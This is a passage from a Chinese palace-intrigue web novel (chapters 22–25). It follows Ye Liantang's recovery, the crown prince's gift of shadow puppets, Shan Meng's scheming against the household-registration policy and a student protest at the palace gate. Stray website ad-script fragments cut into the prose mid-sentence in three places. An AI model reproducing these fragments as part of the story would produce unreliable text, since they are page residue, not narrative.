蓝溪站起身,拱了拱手,道:“奴婢忘了。” 叶帘堂却笑了笑,心想,“还真是想做什么便做什么。” 她道了声谢,问:“不知蓝公公愿不愿意帮在下捎个口信?” 蓝溪抬头,似乎已经猜到了她想说什么,“给太子殿下?” 叶帘堂笑着点了点头。 22. 日光 天色尚早,永安街外响起规律的打更声。 单孟的手中的匕首闪着寒光,于磨刀石上越来越锋利。他闭上眼,轻缓地吐息着清晨潮湿的空气。 这边磨三十下,另一边再磨三十下,单孟在心里默默记着数。做完这一切后,他才睁开眼睛,食指抵上刀尖,微笑着感受它冰凉而尖锐的触感。 一旁的木门忽然打开,有灰衣小仆走出来,俯身道:“公子,陈祭酒醒了。” 单孟将匕首收进袖中,轻声问:“祭酒身体怎么样?” “不大好。大夫昨日来了说……”小仆的目光垂向窗边用茶壶压着的药方上,回:“说,不像是寻常的病。” 单孟顺着他的目光看去,又皱着眉折回来,“那是?” 小仆放低身子,细声道:“像是毒。” 单孟的呼吸停滞了片刻,才说:“……刘大人近来事务繁忙,我代大人来看望祭酒。” 房内晦暗,撩起帘子便是一股浓重的药味,单孟替主人点了蜡烛,显得不那么寂寥。 里头人听见他的动作,出声问道:“是谁?” 这声音几日前还在生龙活虎地同他们论课,如今却虚弱到像是即将飘落的枯叶。单孟登即红了眼,又不好表现出来,只得吸吸鼻子,压着声音躬身行礼道:“学生单孟,前来拜见先生。” 陈祭酒从榻上坐起身,道:“原来是你,进来罢。” 单孟快速用袖子轻轻点了点眼角,这才挑开竹帘,俯首进去了。 日头逐渐从云后冒出来,虫鸣鸟叫也多了些。 陈祭酒已然穿戴整齐,虽病得厉害,却仍强撑着坐直了身子。 单孟知晓他的骨气,并不劝阻他躺下,只是坐的近了一些,方便照顾。 “你来找我,是为着什么事?”陈祭酒缓缓开口:“是为着我的身子,还是因着户籍政策的事?” 单孟替他倒了茶,回道:“都有。” “若你还将我当作老师,便听我一言。”陈祭酒摇了摇头,叹息一声,“无论如何,户籍之策不可废。” 单孟的视线落在他青紫的血管上,低头恭听。 “登户实乃利国利民之大计。役使有方,劳民不伤,贫富相济,实是五隐漏之弊,无重敛之苛啊!那城北便是个活例子,从前什么样,现在什么样?”陈祭酒咳嗽两声,灌一口茶,叹道:“陛下如今糊涂,刘臻也跟着糊涂!他们怎么就看不明白……” “陛下怎么不明白。”单孟扶着砂壶替祭酒添茶,慢慢道:“先生,您近来见过叶侍读么?” “叶悬逸?”陈祭酒皱眉道:“他不是告假了……何故要扯到他身上?” 单孟方下茶壶,将新茶往祭酒那边推了推,轻声说:“叶侍读告假不假,但学生却听了另一种说法。” “学生有位友人在安礼门当差,前些日子一起喝酒,不慎吐露了些东西出来。”单孟将身子凑近,“北衙失火的前一日,有人将叶侍读盖着麻布送了进去。” “什么?”陈祭酒一激动,又咳嗽起来。 单孟将茶端给他,继续道:“叶侍读在里头待了整整一夜,第二天太子便闯了进去,再出来时……” 他不自觉攥紧拳,道:“再出来时,便已成了个血人,塞进软轿子偷偷抬出了宫门。当天下午,北衙便失了火,昭武副尉也不见了踪影。到了第二日,陛下便下旨,将户籍之策做了废。” “而先生您,朝上当众驳斥,如今便躺在这里,不能登朝。”单孟缓缓地摇了摇头。 “竟有此事,你是说……”陈祭酒微微眯起双眼。 “是。”单孟点点头,道:“如今谁人不知,叶侍读自春末以来便成了陛下眼前的红人,那户籍之策更是出自她口。” 陈祭酒怔愣片刻,怒极反笑:“这便是世道,如今的世道啊……” 单孟握着祭酒的手,放低声音:“新政虽好,却触及世族根本,他们是绝不会支持此法的。” “一来,籍定则田亩明,隐田难藏;二来,贫富相济,特权难保;三来,户籍既立,礼法难违。”他一双眼牢牢看着祭酒,道:“先生性秉忠贞,可如今陛下已然让步,新政作废,世家权贵暗施奸计,先生万不能于此刻直言!” 日光渐盛,透过斑驳的窗棂,洒在陈祭酒苍白的面庞上,他忽然笑道:“我明白了,你早已预见此间种种,刘臻向来是个耳根子软的,如今忽然反对新政,也是听了你的话,是不是?” 单孟闻言心头一惊,赶忙撩袍跪下,张了张口想要解释,最后却只道:“……学生罪该万死。” 满室寂静,窗外风声渐响,鸟声聒噪。 单孟跪了许久,才听上方叹息般传来一声:“罢了,你起来,不必跪我。” 他猛地抬起头。 陈祭酒看向窗外,咳了几声,说:“你向来是个聪明,有主见的。刘臻有你在身边,无论如何,他总不会吃亏。” 单孟轻声开口,“……先生?” “你回去吧,也别再叫我先生。” “不……先生,我……” 陈祭酒努力地撑起身体,站起身来,过了好久才叹出一口又悲又潮的气。 “单孟,也许你做的对。人各有志,我并不责怪你。” “我虽寒门出身,却幸得机遇,步入仕途,这一路走来,深知民间疾苦,百姓不易。”他长叹一声,“若我,一个曾受风霜雪雨洗礼的寒门之子,都不再为他们抗争,那么这世间,还有谁会出声?” 单孟摇了摇头,“先生,您寒门入仕,竟能做到国子监祭酒之职。这其中权谋机变也好,学海渊长也罢,您历经波折,能在世家之间站稳脚跟,绝不是凭借孤勇热血!” 陈祭酒低声笑了笑,道:“是啊,我从前便是这样,能躲就躲,什么都不敢做,什么也不敢说,徒劳死了许多人。” 单孟听他谈及往日秘辛,脑中“嗡”地一声,顿觉木已成舟,他张了张口,却被那人打断。 “我早已想好,无论如何我都会出头,你不必再说。”陈祭酒侧头盯着窗外的日光,慢慢道:“我只希望,莫要再连累你们。” 晌午时,仆人进来送药服侍祭酒午睡。单孟走出房门时还是恍惚的,他只觉得陈祭酒不该这么做。 这世间多的是厚此薄彼,畸轻畸重。若真想要改变,唯有筹谋心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 机,明哲保身。 站在世家之间为平民发声,实在是不自量力,以卵击石。 只不过是自我安慰的把戏罢了。 * 午后的蝉鸣已然不如前些日子激烈,叶帘堂身上的伤好了许多,现在已经不怕睡觉翻身了。只是右手的贯穿伤仍然时不时抽痛。 这日终于将目光幽怨,絮絮叨叨个不停的林太医送至马车上。 那边还在滔滔不绝:“叶大人,我前些日子才同你说要爱惜身体,你便,你便……真是气煞我也!” 叶帘堂吐了吐舌头,“太医,我也不想啊,谁都不想受伤啊。” 林太医目光倏地一沉,道:“我不过问你因何受伤,我只告诉你……右手,恐怕是要废了。” 叶帘堂愣了愣,轻声问:“好不了了吗?” 林太医叹一口气,摇了摇头,“大人,往后需得适应左手做事了。” “我知晓了。”叶帘堂装作欢快的同他挥了挥手,向车夫嘱咐道:“大哥,驾得稳点,别将我们林太医一把老骨头又颠碎了。” 林太医指着她,“你这张嘴!” 叶帘堂笑笑,道:“慢走啊。” 林太医目光在她身上停了片刻,最终还是道:“大人,往后做什么,悠着些。” “知道了。”叶帘堂抿了抿嘴,“我会尽量不让自己受伤的!” 林太医这才方下车帘,冷哼一声便扬长而去了。 待人走后,叶帘堂上扬的嘴角才慢慢放下来,慢慢看向自己缠着层层纱布的右手,眸光微暗。 用过午饭,叶帘堂正百无聊赖地趴在桌上,尝试着用左手写字。 房门忽然被契荣“啪”地推开,叶帘堂手一抖,成功写坏了一副字。偏偏契荣还凑过来看,夸道:“哇,大人您画的是小青蛙吗,真像!” 叶帘堂右眼抽了抽,搁下笔问:“怎么了?” “噢!”契荣这才回过神来,从袖中掏出一包什么东西来,道:“皇城那边送来的。” 叶帘堂点了点头,自她受伤,太子禁足以来,李意卿总是有事没事悄悄派人来给她送东西。 她从契荣手里接过纸包,展开一看,竟是包切的方方正正的糖糕。 叶帘堂信手拿出一块尝了尝,顺便也给契荣塞了一块。 甜味在嘴里丝丝蔓延,蹦蹦跳跳。她眯起眼,忽然发现这糖糕里里外外包了四五层油纸,其中一张似乎是有道墨痕。 叶帘堂将那张纸抽了出来,里头果然有几行李意卿龙飞凤舞的小字。 “门巷苍苔内,凿池贮碧天。 云从镜里出,光向阶前圆。” 她笑了笑,想许是李意卿被关禁闭无聊写下的。正准备揉了扔掉,不知怎地心中一动,快走至床边往园中看。 只见窗下苔径幽,池中青天映着云影,日光静静铺陈着园中路。 眼前人如玉山般秀致,站在那儿身上像被洒了层金粉似的。看见她便绽出一笑,明晃晃的,衬得眉心一点胭脂计更加漂亮的动人。 叶帘堂也笑。 李意卿眼睛澄亮,日光下清澈的一干二净,什么都看得明晰。 23. 代价 契荣见状,说自己得去熬药,便走出了房间。 “今日我的禁足就解了。” 李意卿一个鹞子从窗外翻身进来,落在叶帘堂的面前。 “真的。”他补充。 几个月没见,李意卿的个子倒是蹿高了不少,从前只有她下巴的高度,如今都快要与她眉毛平齐了。 叶帘堂自受伤以来便没怎么出过门,偶尔空了也只是在园子里走走,看看花钓钓鱼,许久没有关心过外头的事。今日见着了李意卿,才终于对自己在鬼门关外头滚了一遭有了真实感。 她点一点头,忽地上手捏捏太子的脸蛋,笑道:“小鬼,你长高不少嘛!” “哎呦。”李意卿抚着被捏红的脸,小声道:“快别捏我,痛。” 其实叶帘堂的手也痛,她方才习惯性地用了右手,此时微微用力,登即像是触电了一般,不受控制地抖了一下。 许是一时间没藏好表情,只听李意卿声音陡然一沉,问:“伤口还在疼吗?” 叶帘堂甩了甩手,颇有种好了伤疤忘了疼的意味,笑道:“无事无事,我皮糙肉厚的,疼疼好得快。” 李意卿急忙伸手制止了她甩手的动作,盯着她沉默半晌,才慢慢开口:“……都是我的错。” “什么,你有什么错?”叶帘堂慌道:“是你救了我,还替我收拾烂摊子还挨了廷杖,我该报答你才是!” 李意卿低下头,“如若不是我非要让你做我的侍读,你便不会受这些伤了。” “照你这么说,那当初还是我先撞倒你了,该我的错才对。” “不。”李意卿摇了摇头,“是那日我在西市叫住你……” “那我一开始就不该参加春闱,后面什么都不会发生了!”叶帘堂打断他,故意装出一副生气的样子,侧开身子坐下,“我不来阆京,就不会遇见你!” 沉默中,李意卿一颗圆脑袋凑过来,一双浅棕色的眼睛仿佛能照进人心,轻声道:“我不是那个意思。” 叶帘堂哼笑一声,顺势一把掐住他的脖子,龇牙咧嘴地摇晃道:“死小鬼!你再敢给我扯这些有的没的,我就掐死你!” 结果一时间又忘记了右手的伤,她当即哀嚎一声,哎呦哎呦地向右手吹气。 李意卿捂着脖子,赶忙凑过来看,笑道:“要是林太医在,一定要念叨死你。” “还不都是因为你!”叶帘堂恨道:“你既然对我十分好,我自然也会用真心待你!你胆敢再说一次‘你的错我的错’那些话,我便真的不理你了。” 此话说出口,叶帘堂忽觉回到了自己中二的学生时代,变成了那个一言不合就要和人“割心断爱”的小朋友。 和李意卿呆在一起总有一股魔力,璞玉浑金,好像总能回归最纯净的本心。 许是叶帘堂注视他的世间过于长久,李意卿脸红得要滴血,侧过脸,缓缓松开握着她的手,将二人之间的距离拉开了一些。 叶帘堂这才明白过来,如今身份不同了,自己不再是个男子,就算太子还小,自己也不可以用现代的方式跟他这么亲近。 她默默叹一口气,从桌上抓起一块他今日送来的糖糕,问:“如今除了你,还有谁知晓我的身份?” “我没和任何人说起过,昭武副尉也不会说。”李意卿瞥一眼她手上的动作,问:“好吃吗?” “嗯,好吃。”叶帘堂咂着糖,继续问:“为何昭武副尉不会说?他如今一定恨死我了。” 李意卿垂下眸子,声音很轻,“那日我往北衙放了场火,他被浓烟呛哑了,也许再不能说话。其余知晓此事的,也都被……” 他吐出一口气,却没看她,只是盯着床边的帷幔,问:“你会觉得我狠毒吗?” 你会觉得我狠毒吗? 叶帘堂没办法回答这个问题,她知道自己作为一个现代好青年,这时应该为李意卿指引正确的方向。 但那要她怎么说,说“是”吗?那也太得了便宜还卖乖了。 纠结间,契荣忽地推开房门走进,手里还端着碗热气腾腾的汤药,“啪”地一声搁在了木桌上,一言不发地又退了出去。 “我不想喝。”脑子空白间,叶帘堂下意识地略过了方才的问题,只是说:“我偷偷倒掉,你别给旁人说,行不行?” 李意卿似乎很意外她会说这个,目光有些迷茫地在她身上脸上扫了一圈,突然笑了。 叶帘堂心知自己一不小心将心里话说了出来,觉得有些丢脸,急忙抢过药碗灌下,快速上了榻,道:“我该休息了,殿下也快些回宫去吧!” 语罢,她便裹紧衾被,侧过身闭上眼,忍受着药草停留在口中粘腻的苦味,打算等李意卿走了再去捏几块糖糕去去味。 只听身旁发出窸窸窣窣的声响,他似乎是出了门,叶帘堂正准备下床,又听门被推开,耳边传来纸张细微的脆裂声。 叶帘堂微微睁开一边眼,偷偷侧身望去,见李意卿正拿着一张藤纸折叠着。 她悄悄观察了一会儿,终于忍不住问道:“你在做什么?” “秘密。”李意卿眸子晶亮,一抹微笑浮出嘴角,目光仍落在手中的动作上,“你先睡着,醒来便知道了。” 叶帘堂其实本就毫无睡意,上床也仅仅是为了赶他走。 可不知为何,此刻听着耳边细碎的声响,她的眼皮竟真变得沉重了起来。 一定是汤药的缘故,她心想。 …… 不知睡了多久,叶帘堂醒来时觉得舒服了许多,伤口不再那么折磨人了。 侧过身,李意卿看正坐在桌边支着头,不知在写写画画什么。她张了张口,本想说点什么,但坐起身时,看见衾被上压着许多颜色鲜艳的皮影偶时,忽然就什么都说不出来了。 而李意卿撑着下巴趴在桌边,听到响动时目光转过来,看到她怔愣的神情时得意地挑了挑眉。 这些鲜艳的色彩像是他一股脑砸下用来淹没她的礼物。 叶帘堂垂下目光,问:“这都是你今天下午做的?” 李意卿凑过来,笑道:“好看吧?都是我偷偷去外头的皮影班子学的,我在那儿做了许多天,下午才拿过来扎好的。” 叶帘堂有些不安,“为什么做这些?” 李意卿脸上泛着红,笑着说:“我知道你身上一定很痛,便去问了陶青,怎么做才能让你开心一些。” “陶青说,你一直想看皮影,却碍着侍读的身份一直耽搁着没去。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶帘堂眨了眨眼睛,“……你一个下午都在做这些?” “是呀!”李意卿拿出其中一个,道:“这个是我。”又指了指另外一个,“那个是你。” 叶帘堂将自己拿了起来,新奇的左看看右摸摸。 李意卿忽然操纵着他的纸偶,一条胳膊猛地指向“叶帘堂”,威风道:“吃药!” 叶帘堂吓了一跳。 只见“李意卿”的胳膊从“叶帘堂”指向了叶帘堂,再次动了动,像是在批评她,“记得好好吃药……叶帘堂!” 她猛地抬眼,“你怎么知道我的名字?” 李意卿神气地扬了扬头,“我可是太子殿下,太子殿下无所不知,无所不晓。” 叶帘堂闻言低头笑了笑,操控着自己的纸偶,向着李意卿轻声道:“好啊,多谢无所不知的太子殿下。” * 男人站在窗边,两扇雕花小格一开一关,像是将他纳进了画框里。 李意骏自他身后站定,轻轻出声:“舅舅。” 眼前人转过身来,李意骏目光一抖,垂下头来。 张喆半张脸遭火焚劫,唇角歪斜,瘢痕纵横。深陷的眼窝折射出夕阳的痕迹,一如几个月前北衙的那场大火。 “该用饭了。”李意骏微微侧身,差仆人将稀饭流食呈上,自己也撩袍坐在了桌角旁。 张喆俯身坐下,向他伸出手,露出其上狰狞焦枯的皮肤。他的声带已在那场大火中损毁,无法开口,一双眼便这么直直盯着三皇子。 李意骏眸光微颤,低着头,哆哆嗦嗦道:“舅舅……我不想那么做……” 木桌倾斜,饭碗尽数落地四分五裂。张喆一双眼似要喷火,喉咙深处发出可怕的“咕噜咕噜”声响,似是在骂他的无能。 李意骏红了眼眶,颤着声道:“您分明知道,我根本不在意那些!我不想要皇权,更不想做……” 话未说完,脸侧便猛地朝着一边歪斜,耳鸣嗡嗡,火辣辣的疼。他只觉鼻间一痒,他伸手一摸,原是流了鼻血。 李意骏回望过来,满目不可置信。 张喆收回手,喉中低响仍因愤怒在持续。 “您为何会变成这个样子……”李意骏红着眼,近乎哀求道:“舅舅,我不想和小五争,求求您,我不想做……” 求到最后,几乎要泣不成声。 张喆仍然黑着脸,舌尖抵住上颚,他只觉得浑身灼痛,胸腔淤积着怒火,耳边全是那日火光里狱卒们得嚎叫。 那声音太响,甚至盖过了李意骏在他耳边的哭求。 “仁慈等于懦弱。” 这句话自那日后,便一直在他的心底盘旋。 他那日本可以一刀了结叶悬逸,却动了恻隐之心。所以现在叶悬逸依旧做他的太子侍读,而他自己不仅丢了半只耳朵,还要日日忍受焚烧的灼烫。 ——这就是仁慈的回报。 叶悬逸被救出大门时,太子回眸看了他一眼,那眼里满是憎恶。 他的的确确守住了自己太子的位子,或许他为自己勇敢报仇的行径而感到骄傲,又或许他做的没错。 张喆摸了摸自己被叶悬逸咬掉大半的左耳。 他真该牢记那句话:仁慈等于懦弱。 24. 雷雨 夏夜无风。 蓝溪轻轻关上木门,从枕下摸出一把短小的掐丝柄金刀来。站在窗边,借着廊下昏暗的宫灯细细打量着。 这是她父亲临死前塞给她的。他从未说明过自己从哪弄来这么一把好刀,却知道怎么用好它。 蓝溪轻轻转动着刀柄,使其反射出晦暗的金光。她慢慢瞧着,好像回到了他们一家在朱州生活过的,那段宝贵的安稳时光。 ——那时她还不叫蓝溪,而叫做常晚月。 父亲在她七岁那年摔下了山崖,母亲只她和她弟弟两个孩子,由于弟弟年纪尚小还体弱多病,她便将本领逐步教授给蓝溪。 耕地时,蓝溪便会跟在母亲身后帮忙,看着曲辕犁插进土壤搅动大地,从新翻的泥土中捡出石块,抛到河边;收割时,她同样紧紧跟在母亲身后,学着她抡长手臂,麦钐飞舞,割下一捆又一捆麦子。 “晚月。”每到这时,母亲总会笑眯眯地摸摸她的发顶,柔声道:“你真是世界上最棒的姑娘。” 这句话很合理。 她帮忙播种、牵牛、灌水、劈柴。她还做饭、扫洒、洗衣、整理。无尽的农活与家务让她的手总是红肿着。她的弟弟也尽力帮忙,但他太小了,太阳一晒,冷风一吹就会生病。 那是段苦日子,但她过得开心。 常晚月十岁那年,母亲忽然一病不起。她和弟弟眼睁睁看着她咳嗽、流汗、日渐虚弱。某天夜里,在她喂母亲喝下最后一口汤药时,母亲忽然捉住她的手腕,盯着她的眼睛。 “明日一定要给麦田浇水,否则麦子会渴死……就是往常那些做法,你都会做。”母亲摸了摸她的脸,流着眼泪,“你这么小,不该挑起这副重担……是我的错,你一定要活下去。” 到了深夜,母亲便咽了气。 弟弟哭得撕心裂肺,常晚月却一滴泪也没有流。她只想着外头麦田的事,播种、灌水、耕犁,一样都不能落下。 弟弟怕得不敢睡,非要赖在她身边,于是他俩挤在她狭小的床上,拥抱着互相慰藉。 ——他们只剩下彼此了。 第二日公鸡刚鸣,常晚月便将母亲的遗体用麻布卷好,穿过漫长的田野,推进了河里,就像是他们从前抛掷泥土里的石块那样。 她面无表情地做完这一切,并非是因为她不爱她,只是实在没有悲伤的空隙。 日头升起时,她正在拼命地给田野灌水。 忽有风起,将外头宫灯里颤颤巍巍的那点火苗吹灭了。 思绪猛地抽离。黑暗中,蓝溪用力攥紧手指,仔细感受着刀柄上繁复细腻的纹路,轻声喃喃:“晚月,你是世界上最棒的姑娘。” * 翌日,正逢刘家为子刘臻新官上任做东开席,请了近来阆京之中的才子新秀,在六必居里雅谈。 若说阆京酒楼,第一个想起的便是芙蓉酒肆。但要说是清谈茶舍,那第一个想起便一定是六必居。 六必居茶香菜淡,以至于若不是达官显贵根本一菜难求。如今刘家在这里开席,刘臻被人又敬又捧的满面春风,倍儿有排场。 此刻刘臻身坐主席,手里捏着竹扇,向着身旁的单孟侧身道:“父亲今真是下了血本,竟然将周言也请了来。” 单孟笑了笑,道:“您如今正任司农司侍郎,风头正盛,谁都要给您面子。” 刘臻嘴里的周言,便是今年的新科状元郎,据说此人性情古怪,谁的宴请都不愿去,偏偏回了他的,众人不得不深思一番,总觉着朝中局势要有变化。 正说着,见门前珠帘一挑,走进个眉目浓郁,面色微黮的男子,身着浅紫宽袍,高高束着冠。在座文人才子皆起身相迎,一时寒暄四起。 周言一一拜过,最后才向着刘臻拱了拱手,问:“不知陈祭酒近来可好?” 此话一出,众人这才明了。 周言此番是原看着陈祭酒的面子来参席的,并不是想来投靠刘家,有仇的这才将心搁在了肚子里。 刘臻也同样拱手,叹气道:“先生仍是,卧床不能起……” “怎会这般。”周言摇了摇头,这才坐下。 众人闲话过后,开始谈起近来局势。 刘臻目光瞥向身侧,见单孟轻轻点了点头,便饮下一口茶,说:“阆京近来确实风云变幻,那春末刚立了新策,如今到了夏末,却是要废除了。” “吾等世家,累世积德,本应享无尽之尊容!”席间有人开口,“然这户籍之政,分吾等为三六九等,权益也因之而异,岂非不公平?” “是啊。”刘臻点头,“这如何能行,这变法从未有之,着实荒唐。” “那叶悬逸不过太子侍读,却能得陛下如此青睐。”有人又说:“定是凭借着太子殿下的举荐,这样说来,私情怎么能比得过国法?此番可真是……” 单孟顺势接话,忧心忡忡道:“只怕此事开了先河,让往后才子不再考虑真才实学,反而去巴结皇子贵戚,岂不乱了礼法。” 此话一出,才子新秀们顿时群情激愤,个个点头附和,说不可轻易让那叶悬逸继续嚣张下去。 单孟勾了勾嘴角,眼神飘向一直默默喝茶的周言。 刘臻见状,便开口询问:“周兄怎么看?” 周言夹着菜,平静地开口:“我倒是觉得新政不错。” 人群有人私语道:“他定然支持,我倒差点忘了,他是从变州那等山脚旮旯里考出来的,是个实打实的寒门子弟呢。” 此人声音不小,周言却依旧平静地吃着饭,夹了一筷子酥软香烂的粉蒸肉进了嘴里。 “瞧他那样儿。”有人窃笑,“还真是来吃饭的。” “各位如今只顾着谈,快都吃些。”单孟急忙开口打着圆场,“周兄还和胃口吗?” 周言咽下酥肉,淡淡地“嗯”了一声。 众人见他不搭腔,便自然而然地将他排除在了雅谈之外。 不知谁先开口道:“在座的都是饱学诗书,腹有珠玑之辈,定不能坐视不理,让那叶悬逸继续嚣张下去!” 刘臻问:“你当如何?” 那人回答:“如若我们群情奋起劝解陛下,陛下也许能清醒许多,不再受叶悬逸那厮的蒙蔽。不如我们联合上书,求皇上罢了那厮的官职,严惩叶悬逸!” 席间登时一片点头附和之声。 刘臻“啪”一声合了扇子,拊掌道:“刘某也愿与大家……” 话未说完,忽地被单孟拊掌打断,“大人新官任职,已不再是国子监学生,与各位雅士连同上书,恐怕是不妥。” “是了!”席中有人回应,“刘大人才领了司农司的差事,定然事务繁忙,还是我等学生自请上书,大不了去金銮殿外跪上个几 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天几夜,日后也算是流传千古,名垂青史了!” “是,诸位!我们今日便一同去请!” 散席后,周言请人将剩下的饭菜包了起来,这头刘臻走来,道:“今日招待不周,还请周兄见谅。” 周言摇了摇头,只是说:“怎会。” 一旁单孟走上前来,问:“周兄去哪,不如让在下送您?” “不必。”周言接过打包齐整的饭菜,“我自己回去。” 语罢,一双眼忽然看向单孟,开口道:“单兄真是好口才。” 单孟一愣,忙拱了拱手,“哪里,比起周兄还差得远。” 待几人拜别,单孟便走至窗边,冷冷地看一眼周言离去的背影,心底不知盘算着什么。片刻后便走开,同刘臻去拜别其他的宾客了。 …… 晚些起了风,雨也跟着急急落下来。 陈祭酒才喝了汤药躺下,却听外头喧哗不止,便问:“什么声音?” 仆人闻言出去察看了片刻,回来时却脸色苍白,支支吾吾地不愿说话。 “到底什么事!”陈祭酒微微起身,语气严肃地问。 “外头,外头……”仆人抖着,道:“祭酒,外头都是国子监的学生,都是您的学生……” 陈祭酒心中腾顿时起一股不祥,作势要下床,“他们在做什么?” “说是……”仆人话未说完,便听外头一声大呼:“太子侍读,德行有亏,涉朝党政争,有损太子之德育!望陛下明察,以正朝纲!” 陈祭酒怔愣间,外头又响起排山倒海般的高呼,“望陛下明察,以正朝纲!” 他胸口起伏,急忙将衾被掀开,强撑着要穿鞋。 仆人急忙上前参扶住他,道:“祭酒,您的身子不宜出门啊!” “他们在做什么?他们知不知道自己在做什么!”陈祭酒甩开仆人的手,气道:“备车!快些备车!” …… 雨水飞溅,将学生们的冠发与衣袍都淋了个透彻。 “太子侍读,德行有亏,涉朝党政争,有损太子之德育——”为首那人依旧跪在皇城门前喊道:“望陛下明察,以正朝纲!” 那头雨幕间冲出一匹马车,雨水飞溅,车中人一双干枯苍白的手拉开帷幔,露出一张被病气侵蚀的脸来。 “混账东西!”陈祭酒颤颤巍巍下了车,骂声混在暴雨中,听不明晰,“是谁教你们,跪在皇城门口逼迫皇帝的!” “先生!”为首那人高声回答:“那叶悬逸才德有亏,凭着太子殿下的举荐嚣张至极,德行有亏,我等不愿看陛下深受蒙蔽,特来求陛下罢了那厮的官职!” “岂敢,岂敢!”陈祭酒摇着头,问:“谁起的头儿?” “先生。”有人昂头回道:“从古至今,武死战,文死谏!如今那叶悬逸羽翼未丰,此刻亡羊补牢犹未晚矣!” “胡闹!”陈祭酒抹一把脸上的雨水,“都跟我回去!” 雷声轰鸣,暴雨如瀑,却无人愿意妥协。 “朝中事,岂是你们这些乳臭未干的小子们能左右的!”陈祭酒抖着手,一个一个指过他们,“怎会如此,怎会如此啊……” 忽地,宫门打开,里头有人伞而来。 待看清了来人,陈祭酒暗道一声糟了。情急下,索性将眼睛一闭,直愣愣倒在了地上。 25. 世族 明昭帝深夜披衣,撩开帘子问:“外头在吵什么?” 廊下守夜的内侍赶忙跪下回话:“都是国子监的学生。” “怎么是你?”明昭帝掐了掐眉心,问:“潘福呢?” “回陛下,潘公公已前去查看情况了。” 明昭帝略一点头,将衾被撩开。一旁的宫人见状赶忙上前,将皇帝扶到了书案前的木椅上,呈上新鲜的果茶。 明昭帝浅浅抿了一口,评道:“太甜。” 宫人急忙将果茶换下,呈上一碗滋心润肺的哀家梨。明昭帝拨弄着汤匙,刚低头尝了一勺,便见潘福肥胖的身形闪了进来。 他躬身道:“陛下,国子监的学生们不知是受了谁的指使,想求您革去太子侍读的官职,一直都在外头喊着哩。” 明昭帝咽下蒸梨,碗搁在木桌上发出清脆的声响,缓缓道:“陈箜呢?” “陈祭酒近来染病,咱家到时,大人正在外头斥责学生,想来是怒极攻心,此刻已眩瞀扑倒在地,现下正是一片混乱。”潘福停了少顷,才道:“陛下,咱家瞧着,此事不像是陈祭酒知晓的。” “他当然不知晓。”明昭帝冷哼一声,“他比谁都看好那废弃了的新政,自然不会允许学生做出此等事。” 潘福慢慢抬眼,道:“那陛下的意思是……” “叫那群国子监的学生都进含元殿待着,想闹便在里头闹吧。”明昭帝烦躁地摆了摆手,“等陈箜醒了,立刻叫人去问话,看他是怎么想。” 潘福一点头,“是。” “你亲自去办。”明昭帝叹一口气,“国子监的学生都是世家子弟,你也做的客气些,别寒了世族的心。” “是。”潘福领了命,这才躬着身子退了出去。 * 单孟刚跑至廊下,将油纸伞收回,抖了抖衣袍上的水珠,便听屋内一声拍桌响,有人大声道:“什么?陛下没有处置叶悬逸?” 单孟推门的手顿了顿,最终还是改为叩门。 三声轻响,里头安静了片刻,再出声时已平静了许多,“进来。” 单孟这才推门而入。见刘臻此刻正复手立于桌前,一旁跪着个战战兢兢的小仆。 他向跪着那人使了个眼色,那小仆小心翼翼瞄了刘臻一眼,飞也似的逃出了房内。 刘臻见状冷笑一声,“如今我府内的人都只听你单大人的话了?” 单孟叹一口气,替刘臻倒上新茶,“方才我来时叫人给你热上了乳酪,你且消消气罢。” 刘臻坐在椅上,从桌案抓起一把竹扇快速摇着,仿佛这样便能将怒火吹熄,“单孟,你告诉我,那叶悬逸到底给陛下灌了什么迷魂汤,为何陛下就是不愿意处置他?” 单孟闻言浅浅笑了笑,将热气腾腾的新茶推了过去,“只不过是一群乳臭未干的学生,到底是翻不起什么浪花。” “你这是什么意思?”刘臻“蹭”一声站了起来,“是你说这样做能扳倒叶悬逸的,此刻又说翻不起浪花,难不成是在戏耍我?” 单孟叹一口气,道:“大人息怒……” “你让我怎么息怒,那叶悬逸将陛下蒙蔽至此,我却无能为力!只能眼睁睁看着那厮兴风作浪!” 单孟也站起身来,正逢底下人端来一碗香芋酪,他顺手接过吹了吹,双手端给刘臻,道:“大人先坐下,听我细细向您讲。” 刘臻瞪他片刻,最终还是接过手,重新坐了下来。 “大人您也知道,陛下处事向来温和,从来都是一碗水端平,更不可能因着几个学生的话,去处置五品侍读。” “哼,还不是你当初拦我!”刘臻舀着碗里的乳酪,气道:“我就该同那些学生一起去!若我去了,陛下此刻定然不会坐视不理!” “非也。”单孟摇了摇头,“那些个学生此番举动,往好了想,那时忠贞为国,直言不讳。但若要是往坏处说,那便是妄议朝政,毁谤天子,也是……目无尊师。” “什么?”刘臻紧张起来,“先生,先生他怎么了?” “昨夜先生拖着病体前去阻拦,不想气急了,晕倒过去,此刻正在太医别院躺着。” “怎会如此!”刘臻搁下碗,作势就要冲出去。 单孟吐出一口气,一把将刘臻摁在了座椅上,道:“你去做什么?你此番过去,不就是恰好同旁人证明,你和那群学生勾结吗!” “那怎么办。”刘臻不安地看着他,“先生本就身体不好,如今……” “大人,您听好。”单孟沉下语气,缓缓道:“此番叶悬逸能毫发无损,大都是他陈祭酒的功劳!大人不妨猜猜,祭酒他是凭何保住了叶悬逸?” “是,是如何?” 单孟冷笑一声,“先生自请辞官。这下他既保住了叶悬逸,又保住了国子监。” “怎么……”刘臻猛地握住单孟的胳膊,“先生怎地,怎地也同陛下一般糊涂!那叶悬逸到底有什么妖法,使得他们一个两个都被蒙住眼!” “先生出身寒门,自然是与叶悬逸那等小门小户同气连枝。”单孟轻叹一声,“大人,如今先生辞官养病,同你我都不在算是自己人了。” 刘臻蹙起眉头。 “国子监学生经此一事,定然会有人上书弹劾他们结党私营,祸乱朝政。”单孟眼睛发亮,“如此,对大人您的仕途更是一片大好啊!” “怎么……”刘臻只觉得头脑发晕,道:“单孟,你慢些说,这到底和扳倒叶悬逸有什么关系?我怎么,怎么听不懂了?” 